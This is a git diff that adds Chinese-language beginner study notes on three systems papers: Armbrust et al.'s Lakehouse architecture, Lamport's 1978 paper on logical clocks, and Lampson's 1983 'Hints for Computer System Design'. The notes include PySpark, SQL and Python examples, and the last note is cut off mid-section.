+## 从日常类比开始：公司资料室的三次升级
+
+想象一家公司的「资料管理」：
+
+**第一代（数据仓库）**像**精装档案室**：所有报表材料进门前必须按固定模板整理（schema-on-write），查 BI 报表很快，但扩容贵、视频/日志/图片进不来，新数据也要等 ETL 搬进来才能查。
+
+**第二代（湖 + 仓两层）**像**先堆杂物间、再挑精品进档案室**：原始数据廉价丢进 S3/HDFS 的「数据湖」（schema-on-read），重要表再 ETL 到 Snowflake/Redshift。便宜是便宜了，但同一份数据要搬两次、管道多、湖和仓语义不一致，分析师常查到**过期数据**——论文引用的 Fivetran 调查显示 86% 分析师用过过时数据。
+
+**第三代（Lakehouse，湖仓一体）**像**带管理员系统的开放货架**：数据仍以 Parquet/ORC 等**开放格式**躺在廉价对象存储上，任何人（SQL 引擎、Spark、TensorFlow）都能直接读文件；同时在文件之上加一层**事务元数据**（Delta Lake / Iceberg / Hudi），补上 ACID、版本、审计、索引统计——BI 和机器学习共用同一套真源，少一层 ETL。
+
+这篇 CIDR 2021 论文由 Databricks 的 Michael Armbrust、Ali Ghodsi、Reynold Xin、Matei Zaharia 撰写，提出 Lakehouse 作为下一代开放数据平台架构，并在 TPC-DS 上展示可与主流云数仓竞争的性能。
+
+---
+
+## 是什么
+
+**Lakehouse** = **Data Lake 的低成本开放存储** + **Data Warehouse 的管理能力与 SQL 性能**。
+
+论文给出的三个核心特征：
+
+1. **开放、可直接访问的数据格式**（Apache Parquet、ORC 等），不锁在厂商私有格式里。
+2. **对机器学习 / 数据科学的一等公民支持**——大表用 DataFrame、非 SQL 代码直接读对象存储，而不是经 ODBC/JDBC 慢慢抽。
+3. **接近顶尖数仓的 SQL 性能**——通过缓存、辅助数据结构、数据布局优化，在**不改 Parquet 文件本身**的前提下加速查询。
+
+---
+
+## 三代数据平台演进
+
+| 代际 | 代表 | 存储 | 模式 | 典型问题 |
+|------|------|------|------|----------|
+| 第一代 | Teradata 等本地数仓 | 专有格式 + 计算存储耦合 | schema-on-write | 扩容贵、非结构化数据难管 |
+| 第二代 | S3 湖 + Redshift/Snowflake | 湖用 Parquet；仓用专有格式 | 湖 schema-on-read，仓 schema-on-write | 双 ETL、数据陈旧、ML 难接、存储双份 |
+| 第三代 | Lakehouse | 对象存储 + 开放文件 + 元数据层 | 湖上叠加事务与管理 | 需在开放格式上「补」数仓能力（论文论证可行） |
+
+论文 Figure 1 用一张架构图概括：Lakehouse 把 BI、数据科学、机器学习报告都接到**同一套带元数据层的开放数据**上，而不是 today 常见的「湖 → 再 ETL → 仓」两段式。
+
+---
+
+## 为什么两层架构让人头疼
+
+论文归纳当前「湖 + 仓」的四大痛点（很多是**架构意外复杂度**，而非业务本身必然如此）：
+
+### 1. 可靠性（Reliability）
+
+湖和仓可能有不同的 SQL 方言、类型语义、表结构（湖宽表、仓星型模型）。多段 ETL/ELT 增加失败点和 silent bug，数据质量更难保证。
+
+### 2. 数据陈旧（Data staleness）
+
+新数据先进湖，再批量进仓，延迟常以**天**计——比第一代「操作库 → 数仓」即时可查还退步。实时业务（推荐、客服）和人工分析都受影响。
+
+### 3. 高级分析支持弱（Limited ML support）
+
+TensorFlow、PyTorch、XGBoost 等需要扫描大表、跑复杂非 SQL 代码。经 JDBC/ODBC 从数仓拉数据效率低；导出到文件又多一步 ETL。ML 系统读 Parquet 湖数据可以，但湖又缺 ACID、版本、索引。
+
+### 4. 总拥有成本高（TCO & lock-in）
+
+持续 ETL 的人力 + 仓内**再存一份**数据的双倍存储 + 专有格式迁移成本。
+
+**草房方案**：干脆不要湖，全放支持存算分离的云数仓——论文认为采纳有限，因为仍难管视频/音频/文本，且 ML 仍无法高效直连。
+
+---
+
+## 核心概念
+
+### 1. 元数据层（Metadata Layer）
+
+对象存储（S3、ADLS、GCS）本身只有「放/取文件」，**跨文件更新一张表不是原子的**。Lakehouse 在文件之上加**事务日志**，记录「哪些 Parquet 文件属于表 version N」。
+
+代表实现：
+
+| 系统 | 起源 | 要点 |
+|------|------|------|
+| **Delta Lake** | Databricks 2016+ | 事务日志也存 Parquet，可扩到单表数十亿文件；schema enforcement、time travel |
+| **Apache Iceberg** | Netflix | 类似设计，支持 Parquet/ORC |
+| **Apache Hudi** | Uber | 偏流式 ingest；早期并发写支持较弱 |
+
+关键能力：ACID 事务、time travel、零拷贝克隆（zero-copy clone）、schema 演进与约束、治理（访问控制、审计）。
+
+**无痛迁移**：现有 Parquet 目录只需**加一个 transaction log 指向已有文件**，零拷贝即可变成 Delta 表——论文称这是企业快速采纳的重要原因（Delta 在 Databricks 上三年覆盖约一半计算时长）。
+
+### 2. 在开放格式上做出数仓级 SQL 性能
+
+Lakehouse **放弃**传统 DBMS 那种「引擎与存储格式完全耦合、对外不可见」的数据独立性——Parquet 成为**公开 API** 的一部分。论文提出三类**不改变 Parquet 文件**的优化：
+
+1. **Caching**：在 SSD/RAM 缓存热文件；有事务层可判断缓存是否仍有效；缓存可用转码格式（如部分解压 Parquet）匹配引擎。
+2. **Auxiliary data（辅助数据）**：在 transaction log 里维护列 min-max 统计 → **data skipping**；Bloom filter 等索引放在系统可控的辅助文件中（类似 NoDB、raw data indexing 研究线）。
+3. **Data layout（数据布局）**：在 Parquet 内做记录聚簇；Delta 支持 **Z-order / Hilbert 曲线** 多维局部性，让典型分析查询少读数据。
+
+典型 workload：**热数据**靠缓存接近闭源数仓；**冷数据**在对象存储上，性能主要取决于**每次查询读多少字节**——布局 + zone map 缩小 I/O。
+
+### 3. 声明式 DataFrame API 连接 ML
+
+ML 库常用 DataFrame 做特征工程。Spark SQL 等把 DataFrame 变换**惰性求值**成查询计划，下推到 Delta Lake 数据源插件——自动用上缓存、跳过、布局优化（论文 Figure 4）。
+
+TensorFlow 的 `tf.data` 等不推送语义的路径仍可直接读 Parquet 文件列表，但优化空间较小。
+
+### 4. TPC-DS 基准（论文 Figure 3）
+
+在 scale factor **30,000**、各 **960 vCPU**、本地 SSD 的可比集群上，**Delta Engine**（Spark 上的 C++ 执行引擎 + 上述优化）与四家主流云数仓对比：
+
+- **查询总耗时**：与 DW1–DW4 相当或更好（图中 Delta on-demand 约 5793s 量级，部分数仓更高）。
+- **成本**：Delta on-demand / spot 在论文定价模型下**明显低于**对比数仓（spot 约 $56 vs 数仓 $153–$570 区间）。
+
+冷缓存启动时 Delta Engine 仅慢约 **18%**，说明优化不完全依赖预热。
+
+---
+
+## 代码示例
+
+### 示例 1：把 Parquet 目录升级为 Delta 表（ACID + Schema Enforcement）
+
+下面用 PySpark 演示 Lakehouse 最基础的「元数据层」价值：同一张逻辑表、原子写入、拒绝脏 schema。
+
+```python
+from pyspark.sql import SparkSession
+from pyspark.sql.types import StructType, StructField, StringType, LongType
+
+spark = (
+    SparkSession.builder
+    .appName("lakehouse-demo")
+    .config("spark.sql.extensions",
+            "io.delta.sql.DeltaSparkSessionExtension")
+    .config("spark.sql.catalog.spark_catalog",
+            "org.apache.spark.sql.delta.catalog.DeltaCatalog")
+    .getOrCreate()
+)
+
+# 假设 s3://company-lake/orders/ 里已有一堆 Parquet 文件
+# 零拷贝：只创建 transaction log，不复制数据
+spark.sql("""
+  CONVERT TO DELTA parquet.`s3://company-lake/orders/`
+""")
+
+# 原子追加：要么整批成功，要么读者看不到半写状态
+new_rows = spark.createDataFrame(
+    [("ord-9001", "CN", 19900)],
+    ["order_id", "country", "amount_cents"],
+)
+new_rows.write.format("delta").mode("append").save(
+    "s3://company-lake/orders/"
+)
+
+# Schema enforcement：列名/类型不匹配会直接失败，而不是 silently 污染表
+bad = spark.createDataFrame([("x",)], ["order_id"])  # 缺 country、amount_cents
+try:
+    bad.write.format("delta").mode("append").save("s3://company-lake/orders/")
+except Exception as e:
+    print("rejected by schema enforcement:", e)
+
+# Time travel：读昨天版本做审计或对账
+yesterday = spark.read.format("delta").option(
+    "versionAsOf", 41
+).load("s3://company-lake/orders/")
+```
+
+这段代码对应论文 3.2 节：元数据层把「一堆 Parquet 文件」提升为**可事务管理的数据库表**，并内置数据质量门禁。
+
+### 示例 2：同一 Lakehouse 表 — BI 用 SQL，ML 用 DataFrame
+
+Lakehouse 的目标之一是**消除「仓给 BI、湖给 ML」的分裂**。BI 分析师和算法工程师读的是同一份 Delta 表，只是接口不同：
+
+```python
+# --- BI 路径：标准 SQL ---
+spark.sql("""
+  SELECT country,
+         COUNT(*) AS orders,
+         SUM(amount_cents) / 100.0 AS revenue_usd
+  FROM delta.`s3://company-lake/orders/`
+  WHERE order_date >= DATE '2026-01-01'
+  GROUP BY country
+  ORDER BY revenue_usd DESC
+""").show()
+
+# --- ML 路径：DataFrame 特征工程（惰性计划可下推过滤/投影）---
+from pyspark.sql import functions as F
+
+orders = spark.table("delta.`s3://company-lake/orders/`")
+buyers = (
+    orders
+    .filter(F.col("customer_segment") == "buyer")
+    .select("order_date", "zip", "amount_cents")
+    .fillna({"amount_cents": 0})
+)
+
+# MLlib / 其他 Spark ML 库直接 consume buyers
+# 引擎会通过 Delta 数据源插件应用 statistics skipping、Z-order 布局、节点缓存
+train = buyers.filter(F.col("order_date") < "2026-06-01")
+```
+
+论文 Figure 4 的 Spark MLlib 流程与此一致：`users[users.kind == "buyer"]` 等操作被优化器下推，Delta 客户端决定读哪些分区、是否命中 cache——**ML 数据准备享受与 SQL 相同的 Lakehouse 优化**。
+
+### 示例 3（可选）：Iceberg 的等价 SQL DDL
+
+若团队选 Apache Iceberg 而非 Delta，思想相同——开放 Parquet + 表级事务：
+
+```sql
+-- Spark + Iceberg catalog
+CREATE TABLE warehouse.orders (
+  order_id   STRING,
+  country    STRING,
+  amount_cents BIGINT
+) USING iceberg
+PARTITIONED BY (country);
+
+INSERT INTO warehouse.orders VALUES ('ord-1', 'CN', 9900);
+
+-- 时间旅行（Iceberg snapshots）
+SELECT * FROM warehouse.orders FOR SYSTEM_TIME AS OF TIMESTAMP '2026-06-01 00:00:00';
+```
+
+---
+
+## Lakehouse 系统组件（论文 Figure 2）
+
+```
+┌─────────────────────────────────────────────────────────┐
+│  SQL API          Declarative DataFrame API             │
+├─────────────────────────────────────────────────────────┤
+│  Metadata, Caching, and Indexing Layer                  │
+│  (Delta Lake / Iceberg / Hudi)                          │
+│  · 事务 / 版本 / 治理                                    │
+│  · 缓存 · 统计 · Bloom · Z-order 布局                    │
+├─────────────────────────────────────────────────────────┤
+│  Data files in open format (Parquet / ORC)              │
+│  on low-cost object store (S3, ADLS, GCS, HDFS)         │
+└─────────────────────────────────────────────────────────┘
+```
+
+上层多种引擎（Spark SQL、Presto、Flink、甚至 Snowflake/BigQuery 读 Iceberg）可**并行**读同一存储；GPU 集群跑训练、SQL 集群跑报表，无需再复制一份到专有仓格式。
+
+---
+
+## 与相关系统的关系
+
+| 方向 | 关系 |
+|------|------|
+| **云原生数仓**（Snowflake、BigQuery） | 存算分离做得好，但多数企业主数据仍在湖；数仓已支持 external Parquet 表，却**无法对湖数据提供与内部表同等的 ACID/索引** |
+| **Hive / Presto / Athena** | 直接查湖，但早期缺事务；Hive ACID、Delta/Iceberg 补上了管理特性 |
+| **纯 ML 特征仓库**（Feast、DVC） | 很多在重造 DBMS 已有功能；论文认为可直接建在 Lakehouse 事务与版本之上 |
+| **HTAP** | 或可经 Lakehouse 事务 API 归档 operational 快照，在一致快照上混合分析 |
+
+---
+
+## 开放问题（论文第 4 节摘要）
+
+- 事务日志放 S3（低延迟限制 TPS）vs 独立元数据存储的权衡。
+- 单表事务 → **跨表事务**扩展。
+- 是否设计**下一代开放列存格式**（比 Parquet 更利于布局/索引），同时保持多引擎可读。
+- Serverless 查询引擎如何与 rich metadata layer 集成以降低延迟。
+- **Data Mesh** 分布式数据产品：Lakehouse 让各团队通过对象存储共享数据集，无需共享同一计算集群。
+
+---
+
+## 读完这篇论文，零基础该记住什么
+
+1. **Lakehouse 不是又一个产品名**，而是一种架构：**开放文件 + 事务元数据 + 计算引擎优化**。
+2. 它要解决的不是「SQL 快不快」 alone，而是 **ETL 复杂度、数据陈旧、ML 接不上、厂商锁定** 一整套企业数据痛点。
+3. **Delta Lake / Iceberg / Hudi** 是 2021 年前后工业界落地元数据层的三条主路线；今天选哪一个常是组织与生态问题，原理相通。
+4. 性能路径是：**热数据缓存 + 冷数据少读字节**；不是把 Parquet 换成黑盒专有格式。
+5. 若你所在团队仍是「湖进 raw、仓进 curated、ML 再导第三份」，这篇论文给出了清晰的收敛方向——**一份 curated 数据，多种引擎读**。
+
+---
+
+## 延伸阅读
+
+- Delta Lake 系统论文：*Delta Lake: High-Performance ACID Table Storage over Cloud Object Stores*（VLDB 2020）
+- 三格式对比：*Analyzing and Comparing Lakehouse Storage Systems*（CIDR 2023）
+- 本仓库：[[starrocks]]（Lakehouse 直读）、[[databend]]（Iceberg 外部表）
+
+---
+
+## 参考
+
+- Armbrust, M., Ghodsi, A., Xin, R., & Zaharia, M. (2021). *Lakehouse: A New Generation of Open Platforms that Unify Data Warehousing and Advanced Analytics.* CIDR 2021.
+- https://www.cidrdb.org/cidr2021/papers/cidr2021_paper17.pdf
diff --git a/src/content/docs/papers/lamport-time-clocks-1978.md b/src/content/docs/papers/lamport-time-clocks-1978.md
new file mode 100644
index 000000000..9301b53c3
--- /dev/null
+++ b/src/content/docs/papers/lamport-time-clocks-1978.md
@@ -0,0 +1,270 @@
+---
+title: Time, Clocks, and the Ordering of Events in a Distributed System — 零基础学习笔记
+来源: https://lamport.azurewebsites.net/pubs/time-clocks.pdf
+日期: 2026-06-13
+子分类: 共识与复制
+分类: 分布式系统
+provenance: pipeline-v3
+---
+
+## 日常类比：三个城市里的侦探，没有统一的「现在」
+
+想象三位侦探分别在北京、上海、广州办案。他们**没有共享一块挂钟**——各自手表每天会快或慢几秒，电话和快递也要几小时才到。
+
+某天发生了一桩连环案：
+
+1. 北京侦探在 9:00 发现线索 A，立刻发电报给上海；
+2. 上海侦探在 8:55（自己的表）收到电报——按他的表，**收信比发信还早**；
+3. 广州侦探全程没跟任何人联系，在 9:10 独立发现了线索 B。
+
+你能说「A 一定发生在 B 之前」吗？**不能**——北京和广州从未交换过信息，他们的发现可能是**真正同时、互不相干**的。你只能确定：
+
+- 在同一位侦探的笔记本里，**先写的页码一定在前**；
+- **发电报这件事，一定发生在对方收电报之前**（消息把因果链串起来）；
+- 若 A 影响 B、B 影响 C，则 A 间接影响 C（传递性）。
+
+Leslie Lamport 在 1978 年发表的 [Time, Clocks, and the Ordering of Events in a Distributed System](https://lamport.azurewebsites.net/pubs/time-clocks.pdf)（CACM，8 页）做的，就是把这种**侦探式推理**变成计算机里可运行的规则：在分布式系统里**放弃「绝对同时」**，改用 **happened-before（先发生于）** 描述因果，再用 **逻辑时钟** 给事件编号，最后把偏序**拉直成全局总序**——这是 Kafka、Raft、Git、Spanner 等系统时间观的共同祖先。
+
+Lamport 本人后来回忆：灵感来自狭义相对论——**没有所有观察者都同意的全局时间**，只有与因果相容的偏序；Johnson & Thomas 的副本同步笔记提供了「用时间戳排序消息」的雏形，他把它形式化并修正了会破坏因果的漏洞。
+
+## 是什么
+
+**分布式系统**（论文定义）：多个空间上分离的进程，靠**交换消息**通信；当消息延迟与进程内事件间隔**不可忽略**时，就是「分布式的」。单机多核、多进程也算——因为调度顺序不可预测。
+
+论文回答四个层层递进的问题：
+
+| 层次 | 问题 | 论文给出的工具 |
+|------|------|----------------|
+| 1 | 两个事件谁在先？ | **Happened-before（→）** 偏序 |
+| 2 | 如何用数字标记先后？ | **逻辑时钟**（Lamport 时间戳） |
+| 3 | 算法需要「任意两事件都能比大小」怎么办？ | **全序（⇒）**：时间戳 + 进程 ID 打破平局 |
+| 4 | 用户眼里「真实时间」和逻辑序冲突怎么办？ | **物理时钟同步** + 漂移上界 |
+
+一句话：**不是让全世界的钟对齐，而是让「因果上必须先发生的事件」在编号上永远更小。**
+
+## 核心概念
+
+### 1. Happened-before（→）：因果偏序
+
+对系统中任意事件 `a`、`b`，定义 `a → b`（a happens-before b）当且仅当：
+
+1. **同一进程内**：若 `a` 在 `b` 之前发生，则 `a → b`；
+2. **消息传递**：若 `a` 是某条消息的发送，`b` 是该消息的接收，则 `a → b`；
+3. **传递性**：若 `a → b` 且 `b → c`，则 `a → c`。
+
+若 `a ↛ b` 且 `b ↛ a`，则 `a` 与 `b` **并发（concurrent）**，记作 `a ∥ b`——**谁也没法单凭本地信息断定先后**。
+
+```mermaid
+flowchart LR
+  subgraph P1[进程 P1]
+    e1[e1 本地写]
+    e2[e2 发送消息 m]
+  end
+  subgraph P2[进程 P2]
+    e3[e3 接收 m]
+    e4[e4 本地写]
+  end
+  subgraph P3[进程 P3]
+    e5[e5 独立事件]
+  end
+  e1 --> e2
+  e2 -.消息 m.-> e3
+  e3 --> e4
+```
+
+上图中：`e1 → e2 → e3 → e4`；`e5` 与 `e1…e4` 中任一事件都可能是并发的。
+
+### 2. 逻辑时钟：给事件贴递增编号
+
+每个进程 `P_i` 有一个逻辑时钟 `C_i`（可以只是内存里的整数计数器，**不必接真实硬件钟**）。
+
+**时钟条件（Clock Condition）**：若 `a → b`，则 `C(a) < C(b)`。
+
+保证该条件的两条实现规则（论文 IR1、IR2）：
+
+- **IR1**：进程每发生一个事件，先把本地时钟 `C_i` **加 1**，再给该事件打上当前值；
+- **IR2**：进程 `P_i` 发送消息时，把当前 `C_i` **附在消息上**；`P_j` 收到后设  
+  `C_j := max(C_j, 消息时间戳) + 1`，再处理该接收事件。
+
+注意：**`C(a) < C(b)` 推不出 `a → b`**——并发事件的时间戳也可能一大一小，这是工程里「幽灵因果」误判的根源。
+
+### 3. 全序（⇒）：时间戳 + 进程 ID
+
+互斥、状态机复制等算法需要**任意两事件都能比较**。定义全序 `a ⇒ b`：
+
+- 若 `C(a) < C(b)`，则 `a ⇒ b`；
+- 若 `C(a) = C(b)`，则 **进程 ID 更小** 的事件排前。
+
+全序与 `→` **一致**：若 `a → b`，则必有 `a ⇒ b`。
+
+### 4. 应用：分布式互斥（论文 Section 3）
+
+论文用全序实现了一个**分布式资源锁**（假设消息可靠、进程不故障）：
+
+1. 想进临界区的进程广播带时间戳的 `REQUEST`；
+2. 本地把请求放入按 `⇒` 排序的队列；
+3. 对队列中**排在最前的自己的请求**，若已从**所有其他进程**收到时间戳**更大**的消息（说明已「见过」更晚的请求），则获得锁；
+4. 退出时广播 `RELEASE`。
+
+关键洞见：**全序让多副本按同一顺序回放命令**——这就是后来 **State Machine Replication（SMR）** 与 [[paxos]]、[[raft]] 的思想源头。
+
+### 5. 物理时钟（论文后半部分）
+
+若系统事件还包含**电话、用户口头通知**等带外（out-of-band）因果，纯逻辑序可能与用户感知的真实时间矛盾——论文称为 **anomalous behavior**。
+
+于是引入物理时钟，要求更强的 **Strong Clock Condition**：对所有可能被带外渠道关联的 `a → b`，有 `C(a) < C(b)`。在时钟精度 `ρ`、消息最小传输时间 `μ` 等假设下，论文推导了时钟漂移的**上界**——这是后来 **NTP**（[[ntp-mills-1991]]）等协议的理论远亲。
+
+## 代码示例 1：逻辑时钟（IR1 + IR2）
+
+下面用 Python 模拟两个进程的逻辑时钟；`send` / `recv` 代表消息传递。
+
+```python
+class LamportClock:
+    def __init__(self, pid: int):
+        self.pid = pid
+        self.time = 0
+
+    def local_event(self) -> tuple[int, int]:
+        """IR1：本地事件前时钟 +1"""
+        self.time += 1
+        return (self.time, self.pid)
+
+    def send(self) -> tuple[int, int]:
+        self.time += 1
+        return (self.time, self.pid)  # 时间戳随消息发出
+
+    def recv(self, msg_ts: int) -> tuple[int, int]:
+        """IR2：接收时对齐并 +1"""
+        self.time = max(self.time, msg_ts) + 1
+        return (self.time, self.pid)
+
+    @staticmethod
+    def total_order(a: tuple[int, int], b: tuple[int, int]) -> int:
+        """全序：先比时间戳，再比 pid"""
+        if a[0] != b[0]:
+            return -1 if a[0] < b[0] else 1
+        if a[1] != b[1]:
+            return -1 if a[1] < b[1] else 1
+        return 0
+
+
+# 模拟：P0 发消息给 P1
+p0, p1 = LamportClock(0), LamportClock(1)
+t_send = p0.send()           # P0: (1, 0)
+t_recv = p1.recv(t_send[0])  # P1: max(0,1)+1 = 2 → (2, 1)
+assert t_send[0] < t_recv[0]  # 发送 happens-before 接收 ⇒ 时间戳严格递增
+```
+
+**读代码时记住**：`recv` 里的 `max` 把「对方已经走过的因果历史」合并进本地计数器，就像侦探收到电报后，把对方笔记本上的页码也对齐到自己的台账里。
+
+## 代码示例 2：用全序实现简化的分布式请求队列
+
+下面演示论文互斥算法的**排序核心**（省略网络广播与 ACK 细节）：每个进程维护全局请求队列，按 `(lamport_ts, pid)` 排序，队首且已「同步」的请求获得锁。
+
+```python
+from dataclasses import dataclass, field
+import heapq
+
+@dataclass(order=True)
+class Request:
+    ts: int
+    pid: int
+    kind: str = field(compare=False)  # "REQ" | "REL"
+
+class MutexNode:
+    def __init__(self, pid: int, n_peers: int):
+        self.pid = pid
+        self.clock = LamportClock(pid)
+        self.queue: list[Request] = []
+        self.last_seen_from = [0] * n_peers  # 从各 peer 见过的最大时间戳
+
+    def request_lock(self):
+        ts, _ = self.clock.local_event()
+        heapq.heappush(self.queue, Request(ts, self.pid, "REQ"))
+
+    def on_message(self, sender: int, msg_ts: int, kind: str):
+        self.last_seen_from[sender] = max(self.last_seen_from[sender], msg_ts)
+        self.clock.recv(msg_ts)
+        if kind == "REQ":
+            heapq.heappush(self.queue, Request(msg_ts, sender, "REQ"))
+        elif kind == "REL":
+            # 简化：释放时从队列移除该进程最早 REQ
+            self.queue = [r for r in self.queue if not (r.pid == sender and r.kind == "REQ")]
+            heapq.heapify(self.queue)
+
+    def can_enter(self) -> bool:
+        if not self.queue or self.queue[0].pid != self.pid:
+            return False
+        my_ts = self.queue[0].ts
+        # 已从所有其他进程收到时间戳 > my_ts 的消息 ⇒ 没有更早的未知请求
+        for i, seen in enumerate(self.last_seen_from):
+            if i == self.pid:
+                continue
+            if seen <= my_ts:
+                return False
+        return True
+```
+
+生产系统（[[kafka-2011]] 单 partition、[[raft]] log index）不会照抄这个互斥，但**「单调序号 + 稳定 tie-breaker + 全序回放」**的结构完全相同。
+
+## 时空图：一眼看懂「并发」
+
+论文用 **space-time diagram**（时空图）画进程为竖线、消息为斜线。沿竖线向上是同一进程内的时间；斜线连接 send 与 receive。
+
+```
+P1:  ●───a───●───send───●───b───●
+              \         /
+P2:  ●───c───●───recv───●───d───●
+
+P3:  ●───e───●───f───●
+```
+
+- `a → send → recv → d`（因果链）
+- `c` 与 `a` 可能并发，除非有消息相连
+- `e`、`f` 与 P1、P2 上所有事件都可能并发
+
+**零基础要点**：图上看不出谁左谁右的并列圆点，就是 concurrent——别用 wall clock 硬排。
+
+## 与相关工作的关系
+
+| 机制 | 能做什么 | 不能做什么 | 代表 |
+|------|----------|------------|------|
+| Lamport 时钟 | `a→b ⇒ C(a)<C(b)`；O(1) 空间 | 不能判定 `a∥b` | 本篇 |
+| Vector clock | 精确检测并发 | O(N) 空间与消息开销 | [[fidge-1988]]、[[mattern-1989]] |
+| HLC | 因果 + 贴近物理时间 | 仍不能精确检测并发 | [[hlc-2014]] |
+| TrueTime | 强外部一致性 + 物理时间界 | 需特殊硬件 / 基础设施 | [[spanner-2012]] |
+
+## 常见误区
+
+1. **把逻辑时间戳当成物理时间**：时间戳 100 和 101 之间可能隔 1 微秒，也可能隔 1 天。
+2. **用 `C(a) < C(b)` 推断因果**：错。只有 [[vector clock]] 类结构才能回答「是否并发」。
+3. **忽略带外因果**：用户打电话协调、运维手动改库，逻辑时钟看不见——要么纳入物理钟同步，要么在业务层显式建模。
+4. **tie-breaker 不稳定**：用随机 `uuid` 打破平局会破坏全序的可复现性；应用**固定进程 rank**（如 [[raft]] 的 term + index）。
+
+## 为什么 fifty 年后仍在教
+
+- **认识论层面**：分布式里没有全局「现在」，只有因果与并发——这比任何具体算法都重要。
+- **工程层面**：两条规则 IR1/IR2，每个进程 O(1) 状态，至今是消息系统、协作编辑、日志复制的默认积木。
+- **理论层面**：偏序 → 逻辑钟 → 全序 → SMR 的链条，直接通向 [[paxos]]、[[chubby]]、[[kafka-2011]]。
+
+论文仅 8 页，建议阅读顺序：Section 1（模型）→ Section 2（→）→ Section 3（逻辑钟 + 互斥）→ 有余力再读物理钟部分。
+
+## 延伸阅读
+
+- 原文 PDF：[time-clocks.pdf](https://lamport.azurewebsites.net/pubs/time-clocks.pdf)
+- 作者回顾：[Microsoft Research 页面](https://www.microsoft.com/en-us/research/publication/time-clocks-ordering-events-distributed-system/)
+- 同作者后续：[[paxos-simple-2001]]、[[chandy-lamport-1985]]
+- 本库简版条目：[[lamport-1978]]（legacy 迁移，可与本篇对照）
+- 视频：Martin Kleppmann 分布式课程中 happens-before 一讲
+
+## 关联
+
+- [[lamport-1978]] — 同一论文的 legacy 短笔记
+- [[raft]] — log index 是稳定化的 Lamport 式全序
+- [[paxos]] — 用共识实现 SMR 的后续里程碑
+- [[kafka-2011]] — 单 partition offset 即单进程逻辑钟
+- [[hlc-2014]] — 逻辑钟与物理钟的折中
+- [[spanner-2012]] — 用 TrueTime 把物理时间拉回一致性
+- [[chandy-lamport-1985]] — 同一作者，分布式快照
+- [[fidge-1988]] — 向量钟，补「检测并发」
+- [[sequential-consistency-1979]] — 多处理器内存序的相邻问题
diff --git a/src/content/docs/papers/lampson-hints-1983.md b/src/content/docs/papers/lampson-hints-1983.md
new file mode 100644
index 000000000..f2d11a179
--- /dev/null
+++ b/src/content/docs/papers/lampson-hints-1983.md
@@ -0,0 +1,272 @@
+---
+title: Hints for Computer System Design — Butler Lampson 的系统设计箴言
+来源: https://bwlampson.site/33-Hints/Acrobat.pdf
+日期: 2026-06-13
+分类: 其他
+子分类: 工程文化
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Butler Lampson 在 1983 年发表的这篇短文，不是一套「设计方法论教科书」，而是他从 Xerox PARC 多年造系统（Alto 个人电脑、Bravo 编辑器、Ethernet、Grapevine 邮件等）里**蒸馏出的经验箴言**。论文把每条建议浓缩成一句 slogan，并按两个维度组织：
+
+- **Why（为了什么）**：功能（能工作吗？）、速度（够快吗？）、容错（挂了还能恢复吗？）
+- **Where（作用在哪）**：完整性、接口、实现
+
+日常类比：盖房子时，蓝图（接口）比砖头（实现）更重要；但砖头砌得再漂亮，若承重墙画错位置，整栋楼仍会塌。Lampson 的核心观点是：**系统设计很少存在唯一「最优解」，更重要的是别选糟糕的路，并在模块之间划清责任边界。**
+
+论文刻意回避「模块化」「自顶向下」等已被讲烂的概念，转而给出**可操作的、带血泪教训的**具体建议。
+
+## 为什么重要
+
+不理解这篇论文，下面这些事很难从「工程直觉」层面讲清楚：
+
+- 为什么 Unix 管道、`kubectl` 组合小工具，比「一个大而全的瑞士军刀程序」往往更稳
+- 为什么 TCP 要在应用层自己做校验，而 IP 层丢包「尽力而为」反而让互联网扩展得更好（端到端原则）
+- 为什么 RISC 用简单指令跑得快，而「一条指令干很多事」的 CISC 在常见负载上常常吃亏
+- 为什么「先写一版扔掉」不是浪费，而是 Fred Brooks 在《人月神话》里说的第二系统综合征的解药
+- 为什么缓存、路由表、分支预测都可以是 **hint**——快但可能错，必须能对照「真相」校验
+
+这篇论文写于 1983 年，但上述问题在 2026 年的微服务、LLM 推理系统、分布式存储里仍以不同面貌出现。它属于**系统设计领域的「常识母本」**之一。
+
+## 核心概念
+
+### 1. 接口：系统设计中最重要的部分
+
+接口是**实现**与**客户端**之间的契约：双方为证明各自程序正确而必须对对方做出的假设集合。好的接口要同时满足三个互相冲突的目标：
+
+| 目标 | 含义 |
+|------|------|
+| 简单 | 客户端容易理解、误用成本低 |
+| 完整 | 能表达业务需要的全部操作 |
+| 可实现 | 存在足够小、足够快的实现 |
+
+Lampson 警告：接口做得太「通用」，实现就会又大又慢又难维护。Alto 文件系统用约 900 行代码实现高速顺序读；后继 Pilot 把文件 I/O 塞进虚拟内存统一抽象，代码涨到约 11000 行且更慢——**功能变多，常见路径反而变差**。
+
+### 2. 功能（Functionality）：先把事做对
+
+关键 slogan 摘录：
+
+- **Do one thing well**：一次做好一件事；不要泛化，泛化常常是错的
+- **Make it fast, rather than general or powerful**：与其提供慢而强的原语，不如提供快而基本的，让客户端自己组合
+- **Don't hide power**：抽象应隐藏**坏**性质，不应把底层快路径埋进更通用的慢接口里
+- **Leave it to the client**：接口只解决一个问题，其余交给调用方（Unix 小工具哲学）
+- **Keep basic interfaces stable**：接口是多方共享的假设，改动成本随系统规模指数上升
+- **Plan to throw one away**：第一版几乎必然要重写；不如把它当原型
+- **Divide and conquer**：大问题拆小；资源不够时「能吃掉多少吃多少，剩下的下一轮」
+- **Handle normal and worst case separately**：正常路径要快；最坏情况只要**有进展**即可
+
+### 3. 速度（Speed）：别在迷雾里优化
+
+- **Split resources**：拿不准时**固定切分**资源，而非动态共享——专用寄存器、专用 I/O 通道通常更快、行为更可预测
+- **Cache answers**：昂贵计算的结果存起来；小改动只失效少量缓存项
+- **Use hints**：像缓存，但**可能错误**，使用前必须对照「真相」校验（文件页号映射、路由表、以太网载波侦听）
+- **When in doubt, use brute force**：硬件便宜时，简单可分析的笨办法，往往优于依赖微妙假设的聪明方案
+- **Safety first**：分配资源时先**避免灾难**（过载、颠簸），再谈最优；任一资源需求长期超过容量约 2/3，系统通常表现很差
+- **Shed load**：宁可拒绝新请求、丢包、踢用户，也不要让整个系统僵死
+
+### 4. 容错（Fault-tolerance）：可靠性不能后补
+
+- **End-to-end**：应用层端到端校验/恢复是逻辑上**必需**的；中间层检测只为**性能**，不能替代端到端正确性
+- **Log updates**：用**只追加日志**记录状态变更的「真相」；当前状态可视为一种 hint
+- **Make actions atomic or restartable**：操作要么原子完成，要么可安全重试
+
+Lampson 引用 Hoare：**可靠性的不可避免代价是简单性。** 给已有设计补可靠性，远比一开始就按可靠方式设计难得多。
+
